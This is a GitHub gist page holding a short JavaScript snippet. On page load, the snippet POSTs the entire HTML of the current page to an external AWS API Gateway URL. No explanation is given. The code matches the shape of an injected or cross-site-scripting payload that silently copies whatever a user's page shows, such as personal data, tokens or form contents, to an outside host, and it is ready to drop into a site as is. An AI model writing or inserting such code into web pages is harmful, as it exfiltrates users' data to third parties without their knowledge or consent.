Skip to content

Instantly share code, notes, and snippets.

@Andras1000
Created April 6, 2020 11:13
Show Gist options
  • Save Andras1000/a4e03558a8ed7e399e2df812e228ff00 to your computer and use it in GitHub Desktop.
Save Andras1000/a4e03558a8ed7e399e2df812e228ff00 to your computer and use it in GitHub Desktop.
document.addEventListener("DOMContentLoaded", function() {
let xhttp = new XMLHttpRequest();
xhttp.open("POST", "https://g4g43x5klo.execute-api.eu-west-2.amazonaws.com/prod/", true);
xhttp.setRequestHeader('Content-type', 'text/html; charset=UTF-8');
xhttp.send(document.getElementsByTagName('html')[0].innerHTML);
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment